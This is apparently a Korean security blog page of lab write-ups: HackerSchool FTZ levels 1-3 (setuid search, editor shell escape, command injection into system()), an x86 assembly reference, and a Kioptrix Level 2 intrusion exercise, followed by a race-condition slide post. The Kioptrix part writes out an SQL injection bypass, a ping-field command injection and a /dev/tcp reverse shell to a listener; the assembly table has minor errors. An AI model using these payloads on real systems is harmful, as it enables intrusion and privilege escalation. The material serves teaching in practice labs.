HackerSchool FTZ Level 3 풀이


cat hint하면 소스 코드가 나온다.



#include 
#include 
#include 

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}



more hint로

동시에 여러 명령어를 사용하려면?
문자열 형태로 명령어를 전달하려면?


소스코드를 보면 dig을 쓰는 프로그램이다. 먼저 dig이 뭔지 알아보자

dig (domain information groper) 는 DNS 네임서버에 쿼리를 날리기위한 유용한 툴이다.
DNS lookup 과 쿼리를 보낸 네임서버로부터 돌아오는 응답을 출력해준다.

대부분의 DNS 관리자들은 DNS장애 시 troubleshoot 를 위해 dig를 사용한다.
이유는 dig의 유연하고 편리하기 때문이다.

nslookup과 비슷한 역할을 하지만 nslookup보다 좀 더 상세한 정보가 포함돼 있다.

nslookup과 차이점은 @쿼리할 DNS 서버 IP 옵션을 명령어를 사용할 때 입력해야 한다.

최신 버전의 dig은 안해도 작동한다.

소스코드를 보면 먼저 인자가 1개인지 확인을 하고

cmd에 dig @을 넣고 그 뒤에 인자를 넣고 version.bind chaos txt가 들어간다.

만약 127.0.0.1을 넣는다고 하면

dig @127.0.0.1 version.bind chaos txt가 된다.

즉, 입력받은 문자열에 해당하는 dNS 서버에서 운영중인 BIND 프로그램의 버전을 확인하는 명령을 실행한다.

이는 해당 서버에서 취약한 버전이 운영 중인지 확인할 수 있는 유용한 명령어이지만 최근에는

버전 요청에 대해 회신하지 않도록 설정하고 있다.

아래는 dig과 nslookup 차이이다. 



/bin/autodig *****가 되야한다.

하지만 dig @123.456.754.123이 되고 뒤에 뭔가 명령어를 더 넣어야 한다.

"과 ;를 쓰면 한번에 보낼 수 있다.

/bin/autodig "168.126.63.1; my-pass;"

셀에서 ";"는 명령어를 한줄에 연속해서 적을 때 이용할 수 있고 이것은 System()에도 동일하게 적용 된다.


HackerSchool FTZ Level 2 풀이



힌트 확인



level1과 동일하게 level3 찾고

/usr/bin/edtior로 실행



실행 되고 콜론(:)을 누르고 !/bin/bash

편집창에서 !로 순간적으로 편집기에서 아닌 bash에서 명령어를 실행 시킬 수 있음

따라서 !/bin/bash를 넣음으로써  setuid로 인해 level3으로 쉘이 실행 됨. 


level3이 됨.


HackerSchool FTZ Level 1 풀이 

설치 과정은 잘 나와있으므로 전부 생략

풀이 참고 문헌은 문제풀이로 배우는 시스템 해킹 테크닉



먼저 로그인 후 hint가 보이므로 hint 부터 파악

힌트에는 Setuid가 걸린 파일을 찾아야 한다.파일을 찾는데는 find를 쓰면 된다.



find / -perm +6000 -user level2 2>/dev/null


find / -perm +6000 -user level2 2>/dev/null

find : 명령어

/ : 전체 디렉토리

-perm : 파일 권한이 어떻게 되어있는지

+6000 : Setuid나 Setgid가 설정된 파일

-user : 어떤 유저 파일인지

level2 : 유저 이름

2>/dev/null : 에러가 나는 것들은 전부 출력 X
(1>/dev/null하면 에러가 나는거만 출력)


2>/dev/null이 없다면 찾기가 힘듬




/bin/ExecuteMe 파일 확인 





실행시 화면





/bin/bash 실행시키면 바로 level2가 됨.
(/bin/bash말고 sh등등 으로도 level2가 가능)



ADB를 이용하여 /bin/Execute 파일 분석

gdb /bin/Execute


(gdb) disas main


0x08048488

: push %ebp 0x08048489 : mov %esp,%ebp 0x0804848b : sub $0x28,%esp 0x0804848e : and $0xfffffff0,%esp 0x08048491 : mov $0x0,%eax 0x08048496 : sub %eax,%esp 0x08048498 : sub $0xc,%esp 0x0804849b : push $0x8048680 0x080484a0 : call 0x8048358 0x080484a5 : add $0x10,%esp 0x080484a8 : sub $0xc,%esp 0x080484ab : push $0x804868f 0x080484b0 : call 0x8048378 0x080484b5 : add $0x10,%esp 0x080484b8 : sub $0xc,%esp 0x080484bb : push $0x80486a0 0x080484c0 : call 0x80483a8 0x080484c5 : add $0x10,%esp 0x080484c8 : sub $0xc,%esp 0x080484cb : push $0x80486e0 0x080484d0 : call 0x80483a8 0x080484d5 : add $0x10,%esp 0x080484d8 : sub $0xc,%esp 0x080484db : push $0x8048720 0x080484e0 : call 0x80483a8 0x080484e5 : add $0x10,%esp 0x080484e8 : sub $0xc,%esp 0x080484eb : push $0x8048760 0x080484f0 : call 0x80483a8 0x080484f5 : add $0x10,%esp 0x080484f8 : sub $0xc,%esp 0x080484fb : push $0x8048782 0x08048500 : call 0x80483a8 0x08048505 : add $0x10,%esp 0x08048508 : sub $0x4,%esp 0x0804850b : pushl 0x8049948 0x08048511 : push $0x1e 0x08048513 : lea 0xffffffd8(%ebp),%eax 0x08048516 : push %eax 0x08048517 : call 0x8048368 0x0804851c : add $0x10,%esp 0x0804851f : lea 0xffffffd8(%ebp),%eax 0x08048522 : sub $0x8,%esp 0x08048525 : push $0x804879c 0x0804852a : push %eax 0x0804852b : call 0x8048388 0x08048530 : add $0x10,%esp 0x08048533 : test %eax,%eax 0x08048535 : je 0x8048551 0x08048537 : sub $0xc,%esp 0x0804853a : push $0x80487c0 0x0804853f : call 0x80483a8 0x08048544 : add $0x10,%esp 0x08048547 : sub $0xc,%esp 0x0804854a : push $0x0 0x0804854c : call 0x80483c8 0x08048551 : lea 0xffffffd8(%ebp),%eax 0x08048554 : sub $0x8,%esp 0x08048557 : push $0x80487e8 0x0804855c : push %eax 0x0804855d : call 0x8048388 0x08048562 : add $0x10,%esp 0x08048565 : test %eax,%eax 0x08048567 : je 0x8048583 0x08048569 : sub $0xc,%esp 0x0804856c : push $0x8048800 0x08048571 : call 0x80483a8 0x08048576 : add $0x10,%esp 0x08048579 : sub $0xc,%esp 0x0804857c : push $0x0 0x0804857e : call 0x80483c8 0x08048583 : sub $0xc,%esp 0x08048586 : push $0x8048826 0x0804858b : call 0x80483a8 0x08048590 : add $0x10,%esp 0x08048593 : sub $0x8,%esp 0x08048596 : push $0xbba 0x0804859b : push $0xbba 0x080485a0 : call 0x80483b8 0x080485a5 : add $0x10,%esp 0x080485a8 : sub $0xc,%esp 0x080485ab : lea 0xffffffd8(%ebp),%eax 0x080485ae : push %eax 0x080485af : call 0x8048358 0x080485b4 : add $0x10,%esp 0x080485b7 : leave 0x080485b8 : ret 0x080485b9 : nop 0x080485ba : nop 0x080485bb : nop
함수를 Call하는 부분을 크게 살펴보자면

system -> chdir -> printf *5 -> fgest -> strstr -> printf -> exit -> printf -> setreuid -> system


main+16까지는 함수 프롤로그 및 esp자리 확보이므로 넘긴다.

main+19에 push $0x8048680이 있다 여기엔 /usr/bin/clear값이 있고

다음 system함수를 만나 화면을 clear하게 된다.


main+13에 chdir한다. main+35에 0x804868f이 push되었으므로 여기엔 아래와 같은 값이 있다.


여기까지 정리하자면 /usr/bin/clear로 화면을 밀고, /hmoe/level2로 디렉토리를 옮긴다.


다음은 printf문구가 5번 나오는데 각각 값이 뭐가 들어가 있는지 확인 해보자.

main+51,67,83,99,115의 값을 확인해보면 다음과 같다.


main+131에 0x8049948을 Push하는데 여기에 stdin값는다


main+137에 0x1e(30)를 push하고 여기서 사이즈를 받는다.

main+139에 lea 0xffffffd8(%ebp), %eax를 통하여 배열주소를 받는다. 따라서. 

main+143와 결합하면 fgets(배열주소, 사이즈(30), stdin)이 될 것이다.

main+157에 0x804879c에는 my-pass라는 값이 들어가 있다.

main+157의 값을 가져와 main+163에서 비교를 한다. 

main +171 ~ 196은 만약 값을 비교해서 my-pass가 나왔다면 아래의 출력이 나오고 exit가 된다.

main +201 ~ 246도 my-pass가 아닌 chmod를 검사하고 같으면 exit로 종료된다.

main +270 ~ 280 에 0xbba를 10진수로 바꾸면 3002이다. setreuid(3002,3002)로 level2의 ID를 나타낸다.

main +285 ~ 295는 아까 입력했던 값을 level2의 id의 권한으로 system(입력값)이 된다. 

그래서 이 입력값에 /bin/bash나 sh등을 입력하면 level2로 쉘이 열리게 된다. 


main + 300 ~ 이후는 함수 에필로그이다. 




(gdb) set disassembly intel(att)


로 디스 어셈블리 코드를 다르게 볼 수 있다.


EAX
Extended Accumulator Register

곱셈과 나눗셈 명령에서 자동으로 사용되고, 함수의 리턴 값이 저장됨

ECX

Extended Counter Register

반복 명령어 사용시 반복 카운터로 사용 (ECX > 0 인 동안 반복)

EDX

Extended Data Register

EAX의 보조( 넘치는거 담아줌, 부호 확장 명령에 쓰임)

EBX

Extended Base Register

간접 주소가 저장됨(메모리 주소 지정에 사용됨)

ESP

Extended Stack Pointer

스택 프레임의 최상단, 하나의 스택 프레임의 끝지점 주소가 저장

EBP

Extended Base Pointer

스택 프레임의 기준, 하나의 스택 프레임의 시작지점 주소가 저장

ESI

Extended Source Index

(데이터 복사나 조작시) 출발지 주소(Source Index)가 저장

EDI

Extended Destination Index

(데이터 복사나 조작시) 도착지 주소(Destination Index)가 저장

(주로 ESI레지스터가 가리키는 주소의 데이터를 EDI 레지스터가 가리키는 주소로 복사)

EIP

Extended Instruction Pointer

다음 실행될 명령어가 존재하는 메모리의 주소가 저장

 

 

CF(Carry Flag)

연산된 결과값결과 값이 들어갈 피 연산자의 크기보다 클 때 세팅

PF(Parity Flag)

연산 결과 최하위 바이트의 값이 1이 짝수 일 경우에1 패리티 체크를 하는데 사용

AF(Adjust Flag)

연산 결과 carryborrow3bit 이상 발생할 경우 1이 된다.

ZF(Zero Flag)

연산 결과가 0일 때 세트(1)된다. 연산 결과가 0이 아닐 때 해제(0)된다. if문 같은 조건문이 만족될 경우 set

SF(Sign Flag)

연산 결과 최상위 비트의 값과 같다. 양수이면 0, 음수이면 1

TF(Trap Flag)

디버깅을 할 때 single-step을 가능하게 하려면 1을 준다.

DF(Direction Flag)

문자열 처리에 있어서 1일 경우 문자열 처리 instruction이 자동으로 감소(문자열 처리가 high address에서 low로 이루어짐) 0일 경우 자동으로 증가

OF(Overflow Flag)

정수형 결과값이 너무 큰 양수이거나 너무 작은 음수여서 피연산자의 데이터 타입에 모두 들어가지 않을 경우 1이된다.

 

 

EFL(Eflags register)

연산의 결과 및 시스템 제어를 위한 정보가 각각 배정되어있음


데이터 타입 :

 타입 설 명
 BYTE 8bit 부호 없는 정수
 SBYTE 8bit 부호 있는 정수
 WORD 16bit 부호 없는 정수
 SWORD 16bit 부호 있는 정수
 DWORD 33bit 부호 없는 정수
 SDWORD 32bit 부호 있는 정수
 FWORD 48bit 정수
 QWORD 64bit 정수
 TBYTE 80비트 정수



피연산자(operand) 타입 :

 피연산자 설 명 
 r8 8bit 범용 레지스터
 r16 16bit 범용 레지스터
 r32 32bit 범용 레지스터
 Reg 임의의 범용 레지스터
 Sreg 16bit 세그먼트 레지스터
 imm 8, 16, 32bit 즉시값
 imm8 8bit 즉시값
 imm16 16bit 즉시값
 imm32 32bit 즉시값
 r/m8 8bt 범용 레지스터, 메모리
 r/m16 16bit 범용 레지스터, 메모리
 r/m32 32bit 범용 레지스터, 메모리
 mem 8, 16, 32bit 메모리



어셈블리 명령어 :

INC(Increase)
피연산자에 1을 더한다.
연산 결과에 따라 ZF(Zero Flag)나 OF(Overflow Flag)가 세트될 수 있다.
ex. INC reg, INC mem

DEC(Decrease)
피연산자에 1을 뺀다.
연산 결과에 따라 ZF나 OF가 세트될 수 있다.
ex. DEC reg, DEC mem

ADD(Add)
Destination에 Source의 값을 더해서 Destination에 저장한다.
연산 결과에 따라 ZF, OF, CF(Carry Flag)가 세트될 수 있다.
ex. ADD eax(Destination), 100(Source) : eax레지스터에 100을 더해서 eax레지스터에 저장

SUB(Subtract)
Destination에 Source의 값을 빼서 Destination에 저장한다.
연산 결과에 따라 ZF, OF, CF가 세트될 수 있다.
ex. Sub eax(Destination), 100(Source) : eax레지스터에 100을 빼서 eax레지스터에 저장

MUL(Unsigned Integer Multiply)
부호 없는 al, ax, eax의 값을 피연산자와 곱한다. 피연산자가 8비트이면 al과 곱해서 ax에 저장되고 16비트면 ax와 곱하고 dx(상위16비트):ax(하위16비트)에 저장된다. 연산 결과에 따라 OF, ZF 플래그가 세트될 수 있다.
ex. MUL reg

IMUL(Integer Multiplication)
부호 있는 al, ax, eax의 값을 피연산자와 곱한다. 연산결과에 따라 CF, OF가 세트될 수 있다.
ex. IMUL r/m8 : 단일 피연산자이고 피연산자를 al, ax, eax에 곱한다.
     IMUL r16(destination), r/m16(value) : value를 al, ax, eax와 곱해서 destination에 저장
    IMUL r16(destination), r/m8(value), imm8(value) : value끼리 곱해서 destination에 저장
    (연산 결과가 destination 레지스터의 크기보다 크다면 OF, CF가 세트된다.)

DIV(Unsigned Integer Divide)
8, 16, 32비트 부호 없는 정수의 나눗셈을 수행한다. 연산결과에 따라 CF, OF, ZF가 세트될 수 있다.
ex. DIV reg

MOV(Move)
* Source에서 Destination으로 데이터를 복사한다.
* destination의 값을 Source에 복사한다.
ex. MOV reg(Destination), mem(Source)


MOVS(Move String)
Source에서 Destination으로 데이터를 복사한다.
ex. MOVS Destination, Source

MOVSB, MOVSW, MOVSE(Move String)
SI 또는 ESI 레지스터에 의해 지정된 메모리 주소의 내용을 DI 또는 EDI 레지스터에 의해 지정되는 메모리 주소로 복사한다.
MOVSB는 BYTE 단위, MOVSW는 WORD 단위, MOVSD는 DWORD 단위로 복사한다. 방향 플래그(DF)가 1로 세트되어 있으면 ESI와 EDI는 복사 시에 감소하게 되고 DF가 0으로 세트되어 있으면 ESI와 EDI는 복사 시에 증가하게 된다.
ex. MOVSB, MOVSW, MOVSD

MOVSX(Move with Sign-Extend)
BYTE나 WORD크기의 피연산자를 WORD나 DWORD크기로 확장하고 부호는 그대로 유지.
ex. MOVSX reg32, reg16

MOVZX(Move with Zero-Extend)
BYTE나 WORD크기의 피연산자를 WORD나 DWORD크기로 확장하고 남은 비트는 0으로 채운다.
ex. MOVZX reg32, reg16

INT(Interrupt)
소프트웨어 인터럽트를 발생시켜 운영체제의 서브루틴을 호출한다.
ex. INT imm

AND(Logical AND)
Destination과 Source 피연산자의 각 비트가 AND 연산된다.
AND 연산은 각 비트가 모두 1일 때만 결과 값이 1이 된다.
ex. Destination : 10011100
      Source      : 11001010 
      결과          : 10001000
     AND reg(Destination), mem(Source) : reg와 mem을 AND 연산한 후 결과를 reg에 저장
AND 연산을 통해서 OF, CF가 0으로 세트되고 결과에 따라서 ZF가 1로 세트될 수 있다.

OR(Inclusive OR)
Destination과 Source 피연산자의 각 비트가 OR 연산된다.
OR 연산은 각 비트가 모두 0이면 결과는 0이고 모두 0이 아니면 결과는 1이 된다.
ex. Destination : 10011100
      Source      : 11001010
      결과          : 11011110
      OR reg(Destination), mem(Source) : reg와 mem을 OR 연산한 후 결과를 reg에 저장
 OR 연산을 통해서 OF, CF가 0으로 세트되고 결과에 따라서 ZF가 1로 세트될 수 있다.

XOR(Exclusive OR)
Destination과 Source 피연산자의 각 비트가 XOR 연산된다.
XOR 연산은 각 비트가 서로 다른 값일 때만 결과가 1이다. 같은 값이라면 결과는 0이 된다.
ex. Destination : 10011100
      Source      : 11001010
      결과          : 01010110
XOR 연산을 통해서 OF, CF가 0으로 세트되고 결과에 따라서 ZF가 1로 세트될 수 있다.
피연산자의 두 값이 같은 값이라면 결과는 항상 0이 된다.
레지스터를 0으로 초기화시킬때 MOV 명령어를 사용하기보다는 XOR reg, reg으로 많이 사용한다.

TEST(Test)
두 피연산자 사이에 논리적인 AND 연산을 수행하여 플래그 레지스터에 영향을 주지만 결과값은 저장하지 않는다. OF, CF는 항상 0으로 세트되고 TEST 연산 결과값이 0이면 ZF가 1로
세트, 0이 아니면 ZF가 0으로 세트된다.
ex. TEST reg, reg

STC(Set Carry Flag)
캐리 플래그(CF)를 1로 세트한다.
ex. STC

CLC(Clear Carry Flag)
캐리 플래그(CF)를 0으로 세트한다.
ex. CLC

STD(Set Direction Flag)
방향 플래그(DF)를 1로 세트한다.
ex. STD

CLD(Clear Direction Flag)
방향 플래그(DF)를 0으로 세트한다.
ex. CLD

STI(Set Interrupt Flag)
인터럽트 플래그(IF)를 1로 세트한다.
ex. STI

CLI(Clear Interrupt Flag)
인터럽트 플래그(IF)를 0으로 세트한다.
ex. CLI

SHR(Shift Right)
Destination 피연산자를 Source 피연산자의 크기만큼 오른쪽으로 각 비트를 시프트시킨다.
최상위 비트는 0으로 채워지고 최하위 비트는 캐리 플래그(CF)로 복사된다.
ex. SHR reg, imm16

SHL(Shift Left)
Destination 피연산자를 Source 피연산자의 크기만큼 왼쪽으로 각 비트를 시프트시킨다.
최상위 비트는 캐리 플래그(CF)로 복사되고 최하위 비트는 0으로 채워진다.
ex. SHL reg, imm16

PUSH(Push on Stack)
스택에 값을 넣는다.
ESP의 값이 4만큼 줄어들고 이 위치에 새로운 값이 채워진다.
ex. PUSH reg8

PUSHAD(Push All)
EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP 레지스터의 값을 스택에 PUSH한다.
레지스터들의 값을 보관해야 할 때 사용한다.
ex. PUSHAD

PUSHFD(Push Flags)
플래그 레지스터를 스택에 PUSH한다.
플래그 레지스터의 값을 보관해야 할 때 사용한다.
ex. PUSHFD

POP(Pop from Stack)
ESP 레지스터가 가리키고 있는 위치의 스택 공간에서 4byte 만큼을 Destination 피연산자에 복사하고 ESP 레지스터의 값에 4를 더한다.
ex. POP reg16(Destination)

POPAD(Pop All Flags from Stack)
스택에 존재하는 값을 EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP 레지스터로 POP한다.
PUSHAD 명령어로 스택에 보관해 놓은 레지스터 정보를 다시 이용할 때 사용한다.
ex. POPAD

POPFD(Pop Flags from Stack)
스택에 존재하는 값을 플래그 레지스터로 POP한다.
PUSHFD 명령어로 스택에 보관해 놓은 레지스터 정보를 다시 이용할 때 사용한다.
ex. POPFD

XCHG(Exchange)

두 피연산자의 내용이 서로 교환된다.
XCHG 명령은 imm 값이 피연산자로 올 수 없다.
ex. XCHG reg, mem

NEG(Negate)
피연산자의 2의 보수를 계산하여 결과를 피연산자에 저장한다.
ex. NEG reg

PTR
피연산자의 크기를 재설정한다.
ex. WORD PTR value : value의 크기를 WORD의 크기로 재설정한다.

OFFSET
세그먼트의 시작으로부터 변수가 위치한 거리까지의 상대적 거리를 리턴한다.
ex. OFFSET value : value가 존재하는 위치를 세그먼트 시작 지점으로부터의 상대적 거리를 구한다.

LEA(Load Effective Address)
Source 피연산자의 유효 주소를 계산하여 Destination 피연산자에 복사한다.
간단히 주소를 알아내서 복사하는 명령어다.
ex. LEA reg(Destination), mem(Source)

REP(Repeat String)
ECX 레지스터를 카운터로 사용해서 문자열 관련 명령을 ECX>0인 동안 반복한다.
한번 진행될 때마다 ECX 레지스터값이 -1 된다.
ex. REP MOVS destination, source

JMP(Jump Unconditionally to Lable)
피연산자의 위치로 실행 흐름이 변경된다. 피연산자가 가리키는 코드로 점프 뛰어서 실행한다고 생각하면 된다. 피연산자에는 레이블이나 레지스터, 메모리 값이 올 수 있다.
short점프는 -127 ~ 127 byte범위 안에서, near점프는 같은 세그먼트 내부에서, far점프는 현재 세그먼트를 벗어날 때 사용된다. JMP 명령어는 되돌아올 리턴 어드레스 값을 저장하지 않는다.
ex. JMP shortlabel, JMP nearlabel, JMP farlabel

CALL(Call a Procedure)
함수 호출시 사용된다. JMP명령어 같이 프로그램의 실행 흐름이 변경되지만 JMP명령와 다른 점은 되돌아올 리턴 어드레스(CALL 다음 명령)를 스택에 저장한다는 것이다. 되돌아올 주소를 저장하기 떄문에 함수 호출 후 원래 위치로 실행 흐름을 되돌릴 수 있다. 호출한 함수가 일을 다 마치면 원래 위치에서 다시 프로그램이 실행될 수 있음을 의미한다.
ex. CALL nearlabel, CALL farlabel, CALL mem16, CALL 함수주소,
CALL DWORD PTR[EAX+8], CALL <JMP to API> : 특정 api 지목

CMP(Compare)
두 피연산자를 비교하는 작업을 한다. Destination 피연산자에서 Source 피연산자를 묵시적으로 빼서 값을 비교한다. 두 피연산자의 값이 같다면 결과는 0이 되고 제로 플래그(ZF)가 1로 세트된다. 다르다면 제로 플래그(ZF)는 0으로 세트된다.
ex. CMP reg, reg

NOP(No Operation)

아무 일도 하지 않는 명령어이다.
ex. NOP

Leave
mov esp, ebp
pop ebp    와동일

ret(return)
리턴한다는 명령어
의미상 pop eip와 동일(실제론 존재하지 않음 eip값은 바꿀 수 없기 때문에)



조건 점프 명령
JMP 명령어와는 다르게 특정 조건이 만족하게 된다면 점프를 수행하게 되는 명령어이다.

 명령어 명령어의 의미

 명령어가 수행되기 위한 플래그 레지스터와
 범용 레지스터의 상태 

 JA Jump if (unsigned) above CF=0 and ZF=0
 JAE Jump if (unsigned) above
 or equal 
 CF=0
 JB Jump if (unsigned) below CF=1
 JBE Jump if (unsigned) below
 or equal
 CF=1 or ZF=1
 JC Jump if carry flag set CF=1
 JCXZ Jump if CX is 0 CX=0
 JE Jump if equal ZF=1
 JECXZ Jump if ECX is 0 ECX=0
 JG Jump if (signed) greater ZF=0 and SF=0
 JGE Jump if (signed) greater
 or equal
 SF=OF
 JL Jump if (signed) less SF!=OF
 JLE Jump if (signed) less
 or equal
 ZF=1 and OF!=OF
 JNA Jump if (unsigned) not 
 above
 CF=1 or ZF=1
 JNAE Jump if (unsigned) not
 above or equal 
 CF=1
 JNB Jump if (unsigned) not
 below
 CF=0
 JNBE Jump if (unsigned) not
 below or equal 
 CF=0 and ZF=0
 JNC Jump if carry flag not set CF=0
 JNE Jump if not equal ZF=0
 JNG Jump if (signed) not greater ZF=1 or SF!=OF
 JNGE Jump if (signed) not greater
 or equal 
 SF!=OF
 JNL Jump if (signed) not less SF=OF
 JNLE Jump if (signed) not less
 or equal
 ZF=0 and SF=OF
 JNO Jump if overflow flag not set OF=0
 JNP Jump if parity flag not set  PF=0
 JNS Jump if sign flag not set SF=0
 JNZ Jump if not zero ZF=0
 JO Jump if overflow flag is set OF=1
 JP Jump if parity flag set PF=1
 JPE Jump if parity is equal PF=1
 JPO Jump if parity is odd PF=0
 JS Jump if sign flag is set SF=1
 JZ Jump is zero ZF=1



참고: http://dakuo.tistory.com/7 [hacker dakuo]

Kioptrix Level 2를 이용하여 간단한 침해사고 발생 실습


Kioptrix Level 2를 이용하여 간단히 침해사고를 일으켜 보는 실습을 해볼 것이다.




먼저 Kioptrix Level2 이미지를 구하여 가상머신에 올린다. 
위의 ip주소가 나와야 한다.




그리고 위의 ip주소로 브라우져에서 실행하면 위의 화면이 나오는 것을 알 수 있다.
여기선 sql injection이 된다.


admin // 1 'or' 1=1 --




sql이 제대로 되었다면 위의 화면이 뜨는 것을 확인 할 수 있다.
저 빈칸은 ping명령어가 적용되고 세미콜론(;)을 통하여 다중 명령이 가능하게 된다.








다양한 명령어를 통하여 서버에 대한 정보를 유추할 수 있다. 




이제 로컬로 돌아와서 리버스 커넥션을 위하여 준비를 해보자.
nc.exe -lvvp 4444
l = listen
vv = 상세히
p = port 



8.8.8.8; /bin/sh 0</dev/tcp/192.168.56.1/4444 1>&0 2>&0
다시 브라우저로 돌아와서 위의 명령어를 입력한다. ip같은경우 로컬 ipconfig에서 host-only network이다.

0번은 표준입력방식이며 키보드 방식이다. 1은 출력 2는 표준출력 에러표시이다. 이 명령어로써
리버스 커넥션이 된다.




아까전에 listen하고 있던 곳에서 연결이 된 것을 확인 할 수 있고 명령어도 먹힌다.




이제 리버스 커넥션한것으로 공격코드를 올려보기 위해 wget을 이용하여 다운로드를 해보자.
하지만 마지막줄에 보듯이 퍼미션 디나이가 뜨는 것을 알 수 있다. 나름 권한체크를 하고 있는 듯하다.




보통 /var/tmp에는 누구든지 쓸 수 있는 권한이 적용되어 있을 가능성이 매우 높다(sticky bit)
따라서 여기서 wget을 이용하여 올린다.



익스플로잇 코드를 통하여 권한이 상승된 것을 확인 할 수 있으며
이 서버는 이제 공격자의 손아귀에 들어오게 됐다.


위의 실습을 통해 간단히 침해사고를 일으켜 보았고 다음 포스팅에는 
원격으로 침해사고 당한 서버를 루트킷으로 간단히 검사해보고 디스크 이미지를 덤프뜨는 것을 해보겠다. 


Race condition PPT(PDF), 보고서입니다.

시스템 해킹 및 정보보호하면서 만들었던 자료 올립니다.

Race condition(레이스 컨디션) 원리, 실습, 대처방안, 최근동향(Dirty Cow를 이용하여 간단한 실습)을 포함하여 만들어보았습니다.

Race condition.pdf


  1. limelee85 2017.11.15 16:46

    좋은 자료 감사합니다 ^^

  2. limelee 2018.05.07 15:24

    너무 유익한 포스트네요~~ 이번 프로젝트때 참고가 많이 되었던거 갓습니다 감사합니다 ^^
    그리고 댓글 방지 문자가 사람인데도 너무 어렵네요 바까주세요

+ Recent posts